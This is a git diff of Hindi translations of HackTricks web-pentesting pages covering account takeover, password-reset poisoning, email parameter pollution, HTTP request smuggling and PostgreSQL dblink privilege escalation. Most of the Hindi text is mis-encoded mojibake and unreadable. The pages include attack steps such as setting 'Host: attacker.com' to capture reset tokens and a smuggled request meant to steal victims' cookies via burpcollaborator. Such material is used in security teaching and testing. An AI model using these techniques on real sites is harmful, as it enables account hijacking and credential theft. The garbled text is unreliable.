рд╕реАрдорд╛рдУрдВ рдХреЗ рднреАрддрд░ рд░рд╣рдиреЗ рдХреЗ рд▓рд┐рдП рд▓реЛрдб рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рд╡рд┐рддрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред -### рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд░рд╣рдирд╛ +### рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд░рд╣реЗрдВ -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рднрд▓реЗ рд╣реА рджрд░ рд╕реАрдорд╛ рд▓рд╛рдЧреВ рд╣реЛ, рдЖрдкрдХреЛ рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЬрдм рдорд╛рдиреНрдп OTP рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЕрд▓рдЧ рд╣реЛрддреА рд╣реИред [**рдЗрд╕ рдкреЛрд╕реНрдЯ**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) рдореЗрдВ, рдмрдЧ рд╢рд┐рдХрд╛рд░реА рдиреЗ рдЦреЛрдЬрд╛ рдХрд┐ рднрд▓реЗ рд╣реА 20 рдЕрд╕рдлрд▓ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рдмрд╛рдж рджрд░ рд╕реАрдорд╛ рд╕рдХреНрд░рд┐рдп рд╣реЛ рдЬрд╛рдП рдФрд░ 401 рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдорд┐рд▓реЗ, рдпрджрд┐ рдорд╛рдиреНрдп OTP рднреЗрдЬрд╛ рдЧрдпрд╛ рддреЛ 200 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рд╣реБрдИред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рднрд▓реЗ рд╣реА рджрд░ рд╕реАрдорд╛ рд▓рд╛рдЧреВ рд╣реЛ, рдЖрдкрдХреЛ рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЬрдм рдорд╛рдиреНрдп OTP рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЕрд▓рдЧ рд╣реЛрддреА рд╣реИред [**рдЗрд╕ рдкреЛрд╕реНрдЯ**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) рдореЗрдВ, рдмрдЧ рд╢рд┐рдХрд╛рд░реА рдиреЗ рдкрд╛рдпрд╛ рдХрд┐ рднрд▓реЗ рд╣реА 20 рдЕрд╕рдлрд▓ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рдмрд╛рдж рджрд░ рд╕реАрдорд╛ рд╕рдХреНрд░рд┐рдп рд╣реЛ рдЬрд╛рддреА рд╣реИ рдФрд░ 401 рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдорд┐рд▓рддреА рд╣реИ, рдпрджрд┐ рдорд╛рдиреНрдп OTP рднреЗрдЬрд╛ рдЧрдпрд╛ рддреЛ 200 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреА рд╣реИред + +### рдЙрдкрдХрд░рдг + +- [**https://github.com/Hashtag-AMIN/hashtag-fuzz**](https://github.com/Hashtag-AMIN/hashtag-fuzz): hashtag-fuzz рдПрдХ рдлрдЬрд╝рд┐рдВрдЧ рдЙрдкрдХрд░рдг рд╣реИ рдЬрд┐рд╕реЗ WAFs рдФрд░ CDNs рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдФрд░ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдПрдЬреЗрдВрдЯ рдФрд░ рд╣реЗрдбрд░ рдорд╛рди, рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╡рд┐рд▓рдВрдм, рдорд▓реНрдЯреА-рдереНрд░реЗрдбрд┐рдВрдЧ рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ, рд╢рдмреНрджрд╕реВрдЪрд┐рдпреЛрдВ рдХреЗ рдЪрдпрдирд╛рддреНрдордХ рдЪрдВрдХрд┐рдВрдЧ рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдЪрдВрдХ рдХреЗ рд▓рд┐рдП рд░рд╛рдЙрдВрдб рд░реЙрдмрд┐рди рдкреНрд░реЙрдХреНрд╕реА рд░реЛрдЯреЗрд╢рди рдЬреИрд╕реА рдЙрдиреНрдирдд рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░, рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдордЬрдмреВрдд рд╕рдорд╛рдзрд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХрд╛ рд▓рдХреНрд╖реНрдп рд░рдЦрддреЗ рд╣реИрдВред {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md index 0900a56a1..daab2746a 100644 --- a/src/pentesting-web/registration-vulnerabilities.md +++ b/src/pentesting-web/registration-vulnerabilities.md @@ -7,8 +7,8 @@ ### рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдкрдВрдЬреАрдХрд░рдг - рдореМрдЬреВрджрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрдирд░реЗрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ -- рдИрдореЗрд▓ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ: -- uppsercase +- рдИрдореЗрд▓ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ: +- рдЕрдкрд░рдХреЗрд╕ - \+1@ - рдИрдореЗрд▓ рдореЗрдВ рдХреБрдЫ рдбреЙрдЯ рдЬреЛрдбрд╝реЗрдВ - рдИрдореЗрд▓ рдирд╛рдо рдореЗрдВ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдг (%00, %09, %20) @@ -18,16 +18,16 @@ ### рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдЧрдгрдирд╛ -рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдЕрдВрджрд░ рдкрдВрдЬреАрдХреГрдд рд╣реИред +рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдЕрдВрджрд░ рдкрдВрдЬреАрдХреГрдд рд╣реИред ### рдкрд╛рд╕рд╡рд░реНрдб рдиреАрддрд┐ -рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рдиреЗ рдкрд░ рдкрд╛рд╕рд╡рд░реНрдб рдиреАрддрд┐ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ (рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрдордЬреЛрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред\ +рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рдиреЗ рдкрд░ рдкрд╛рд╕рд╡рд░реНрдб рдиреАрддрд┐ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ (рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрдордЬреЛрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред\ рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдк рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдмреНрд░реВрдЯрдлреЛрд░реНрд╕ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### SQL рдЗрдВрдЬреЗрдХреНрд╢рди -[**рдЗрд╕ рдкреГрд╖реНрда рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ** ](sql-injection/index.html#insert-statement)рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреИрд╕реЗ рдЦрд╛рддрд╛ рдЕрдзрд┐рдЧреНрд░рд╣рдг рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ рдпрд╛ **SQL рдЗрдВрдЬреЗрдХреНрд╢рди** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реЗрдВред +[**рдЗрд╕ рдкреГрд╖реНрда рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ** ](sql-injection/index.html#insert-statement)рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреИрд╕реЗ рдЦрд╛рддрд╛ рдЕрдзрд┐рдЧреНрд░рд╣рдг рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ рдпрд╛ **SQL рдЗрдВрдЬреЗрдХреНрд╢рди** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реЗрдВред ### рдУрде рдЕрдзрд┐рдЧреНрд░рд╣рдг @@ -43,36 +43,36 @@ saml-attacks/ ### рдИрдореЗрд▓ рдмрджрд▓реЗрдВ -рдЬрдм рдкрдВрдЬреАрдХреГрдд рд╣реЛрдВ рддреЛ рдИрдореЗрд▓ рдмрджрд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдФрд░ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдкрд░рд┐рд╡рд░реНрддрди рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдорд╛рдиреНрдп рд╣реИ рдпрд╛ рдЗрд╕реЗ рдордирдорд╛рдиреЗ рдИрдореЗрд▓ рдореЗрдВ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред +рдЬрдм рдкрдВрдЬреАрдХреГрдд рд╣реЛрдВ рддреЛ рдИрдореЗрд▓ рдмрджрд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдФрд░ рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдкрд░рд┐рд╡рд░реНрддрди рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдорд╛рдиреНрдп рд╣реИ рдпрд╛ рдЗрд╕реЗ рдордирдорд╛рдиреЗ рдИрдореЗрд▓ рдореЗрдВ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред -### рдЕрдзрд┐рдХ рдЬрд╛рдВрдЪреЗрдВ +### рдЕрдзрд┐рдХ рдЬрд╛рдБрдЪреЗрдВ -- рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк **рдирд┐рд╖реНрдХреНрд░рд┐рдп рдИрдореЗрд▓** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ +- рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк **рдирд┐рд╖реНрдХреНрд░рд┐рдп рдИрдореЗрд▓** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ - **рд▓рдВрдмрд╛** **рдкрд╛рд╕рд╡рд░реНрдб** (>200) **DoS** рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИ -- **рдЦрд╛рддрд╛ рдирд┐рд░реНрдорд╛рдг рдкрд░ рджрд░ рд╕реАрдорд╛рдУрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ** +- **рдЦрд╛рддрд╛ рдирд┐рд░реНрдорд╛рдг рдкрд░ рджрд░ рд╕реАрдорд╛рдПрдБ рдЬрд╛рдБрдЪреЗрдВ** - username@**burp_collab**.net рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдФрд░ **рдХреЙрд▓рдмреИрдХ** рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВ ## **рдкрд╛рд╕рд╡рд░реНрдб рд░реАрд╕реЗрдЯ рдЕрдзрд┐рдЧреНрд░рд╣рдг** -### рд╕рдВрджрд░реНрднрдХрд░реНрддрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рд░реАрд╕реЗрдЯ рдЯреЛрдХрди рд▓реАрдХ +### рд░реЗрдлрд░рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рд░реАрд╕реЗрдЯ рдЯреЛрдХрди рд▓реАрдХ 1. рдЕрдкрдиреЗ рдИрдореЗрд▓ рдкрддреЗ рдкрд░ рдкрд╛рд╕рд╡рд░реНрдб рд░реАрд╕реЗрдЯ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВ 2. рдкрд╛рд╕рд╡рд░реНрдб рд░реАрд╕реЗрдЯ рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ 3. рдкрд╛рд╕рд╡рд░реНрдб рди рдмрджрд▓реЗрдВ 4. рдХрд┐рд╕реА 3rd рдкрд╛рд░реНрдЯреА рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ (рдЬреИрд╕реЗ: рдлреЗрд╕рдмреБрдХ, рдЯреНрд╡рд┐рдЯрд░) 5. Burp Suite рдкреНрд░реЙрдХреНрд╕реА рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░реЗрдВ -6. рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╕рдВрджрд░реНрднрдХрд░реНрддрд╛ рд╣реЗрдбрд░ рдкрд╛рд╕рд╡рд░реНрдб рд░реАрд╕реЗрдЯ рдЯреЛрдХрди рд▓реАрдХ рдХрд░ рд░рд╣рд╛ рд╣реИред +6. рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рд░реЗрдлрд░рд░ рд╣реЗрдбрд░ рдкрд╛рд╕рд╡рд░реНрдб рд░реАрд╕реЗрдЯ рдЯреЛрдХрди рд▓реАрдХ рдХрд░ рд░рд╣рд╛ рд╣реИред -### рдкрд╛рд╕рд╡рд░реНрдб рд░реАрд╕реЗрдЯ рдЬрд╣рд░ рджреЗрдирд╛ +### рдкрд╛рд╕рд╡рд░реНрдб рд░реАрд╕реЗрдЯ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ 1. Burp Suite рдореЗрдВ рдкрд╛рд╕рд╡рд░реНрдб рд░реАрд╕реЗрдЯ рдЕрдиреБрд░реЛрдз рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░реЗрдВ 2. Burp Suite рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣реЗрдбрд░ рдЬреЛрдбрд╝реЗрдВ рдпрд╛ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░реЗрдВ: `Host: attacker.com`, `X-Forwarded-Host: attacker.com` -3. рд╕рдВрд╢реЛрдзрд┐рдд рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдЕрдиреБрд░реЛрдз рдХреЛ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдХрд░реЗрдВ\ +3. рд╕рдВрд╢реЛрдзрд┐рдд рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдЕрдиреБрд░реЛрдз рдХреЛ рдлреЙрд░рд╡рд░реНрдб рдХрд░реЗрдВ\ `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` 4. _host header_ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдкрд╛рд╕рд╡рд░реНрдб рд░реАрд╕реЗрдЯ URL рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬреИрд╕реЗ: `https://attacker.com/reset-password.php?token=TOKEN` ### рдИрдореЗрд▓ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рд░реАрд╕реЗрдЯ -```powershell +```bash # parameter pollution email=victim@mail.com&email=hacker@mail.com @@ -103,9 +103,9 @@ email=victim@mail.com|hacker@mail.com - Timestamp - UserID - User рдХрд╛ рдИрдореЗрд▓ -- рдкрд╣рд▓рд╛ рдирд╛рдо рдФрд░ рдЕрдВрддрд┐рдо рдирд╛рдо +- Firstname рдФрд░ Lastname - рдЬрдиреНрдо рддрд┐рдерд┐ -- рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлреА +- Cryptography - рдХреЗрд╡рд▓ рд╕рдВрдЦреНрдпрд╛ - рдЫреЛрдЯрд╛ рдЯреЛрдХрди рдЕрдиреБрдХреНрд░рдо (рдЕрдХреНрд╖рд░ \[A-Z,a-z,0-9] рдХреЗ рдмреАрдЪ) - рдЯреЛрдХрди рдкреБрди: рдЙрдкрдпреЛрдЧ @@ -135,7 +135,7 @@ email=victim@mail.com|hacker@mail.com ### Account Takeover Via HTTP Request Smuggling -1\. **smuggler** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ HTTP Request Smuggling (CL, TE, CL.TE) рдХреЗ рдкреНрд░рдХрд╛рд░ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред\ +1\. **smuggler** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ HTTP Request Smuggling рдХреЗ рдкреНрд░рдХрд╛рд░ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП (CL, TE, CL.TE)\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ 2\. рдПрдХ рдЕрдиреБрд░реЛрдз рддреИрдпрд╛рд░ рдХрд░реЗрдВ рдЬреЛ `POST / HTTP/1.1` рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдЧрд╛:\ `GET http://something.burpcollaborator.net HTTP/1.1 X:` рдЬрд┐рд╕рдХрд╛ рд▓рдХреНрд╖реНрдп рдкреАрдбрд╝рд┐рддреЛрдВ рдХреЛ burpcollab рдкрд░ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рдирд╛ рдФрд░ рдЙрдирдХреА рдХреБрдХреАрдЬрд╝ рдЪреБрд░рд╛рдирд╛ рд╣реИред\ @@ -157,7 +157,7 @@ Hackerone рд░рд┐рдкреЛрд░реНрдЯ рдЗрд╕ рдмрдЧ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛ ### CSRF рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЦрд╛рддрд╛ рдЕрдзрд┐рдЧреНрд░рд╣рдг -1. CSRF рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЗрд▓реЛрдб рдмрдирд╛рдПрдВ, рдЬреИрд╕реЗ: тАЬрдкрд╛рд╕рд╡рд░реНрдб рдкрд░рд┐рд╡рд░реНрддрди рдХреЗ рд▓рд┐рдП рдСрдЯреЛ рд╕рдмрдорд┐рдЯ рдХреЗ рд╕рд╛рде HTML рдлреЙрд░реНрдотАЭ +1. CSRF рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЗрд▓реЛрдб рдмрдирд╛рдПрдВ, рдЬреИрд╕реЗ: тАЬрдкрд╛рд╕рд╡рд░реНрдб рдкрд░рд┐рд╡рд░реНрддрди рдХреЗ рд▓рд┐рдП рдСрдЯреЛ рд╕рдмрдорд┐рдЯ рд╡рд╛рд▓рд╛ HTML рдлреЙрд░реНрдотАЭ 2. рдкреЗрд▓реЛрдб рднреЗрдЬреЗрдВ ### JWT рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЦрд╛рддрд╛ рдЕрдзрд┐рдЧреНрд░рд╣рдг diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index d07ead572..5f0161139 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -12,16 +12,16 @@ CREATE EXTENSION dblink; ### рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ -рдлрд╛рдЗрд▓ `pg_hba.conf` рдЦрд░рд╛рдм рддрд░реАрдХреЗ рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ **рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реБрдП** **localhost рд╕реЗ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ** рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдиреЗред рдпрд╣ рдлрд╛рдЗрд▓ рдЖрдорддреМрд░ рдкрд░ `/etc/postgresql/12/main/pg_hba.conf` рдореЗрдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ рдФрд░ рдПрдХ рдЦрд░рд╛рдм рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддреА рд╣реИ: +рдлрд╛рдЗрд▓ `pg_hba.conf` рдЦрд░рд╛рдм рддрд░реАрдХреЗ рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ **рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реБрдП** **рд▓реЛрдХрд▓рд╣реЛрд╕реНрдЯ рд╕реЗ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ** рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗред рдпрд╣ рдлрд╛рдЗрд▓ рдЖрдорддреМрд░ рдкрд░ `/etc/postgresql/12/main/pg_hba.conf` рдореЗрдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ рдФрд░ рдПрдХ рдЦрд░рд╛рдм рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддреА рд╣реИ: ``` local all all trust ``` _рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЖрдорддреМрд░ рдкрд░ рддрдм рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдб рднреВрд▓ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХрднреА-рдХрднреА рдЖрдк рдЗрд╕реЗ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред_\ _рдпрд╣ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдлрд╝рд╛рдЗрд▓ pg_hba.conf рдХреЗрд╡рд▓ postgres рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рд╕рдореВрд╣ рджреНрд╡рд╛рд░рд╛ рдкрдврд╝реА рдЬрд╛ рд╕рдХрддреА рд╣реИ рдФрд░ рдХреЗрд╡рд▓ postgres рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд▓рд┐рдЦреА рдЬрд╛ рд╕рдХрддреА рд╣реИред_ -рдпрд╣ рдорд╛рдорд▓рд╛ **рдЙрдкрдпреЛрдЧреА рд╣реИ рдпрджрд┐** рдЖрдкрдХреЗ рдкрд╛рд╕ **рд╢реЗрд▓** рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкреАрдбрд╝рд┐рдд рдХреЗ рдЕрдВрджрд░ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдЖрдкрдХреЛ postgresql рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред +рдпрд╣ рдорд╛рдорд▓рд╛ **рдЙрдкрдпреЛрдЧреА рд╣реИ рдпрджрд┐** рдЖрдкрдХреЗ рдкрд╛рд╕ рдкреАрдбрд╝рд┐рдд рдХреЗ рдЕрдВрджрд░ **рд╢реЗрд▓** рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдЖрдкрдХреЛ postgresql рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред -рдПрдХ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЗрд╕ рддрд░рд╣ рдХреА рдХреБрдЫ рдЪреАрдЬрд╝реЛрдВ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ: +рдПрдХ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЗрд╕ рддрд░рд╣ рдХрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ: ``` host all all 127.0.0.1/32 trust ``` @@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT); ``` ### Port Scanning -`dblink_connect` рдХрд╛ 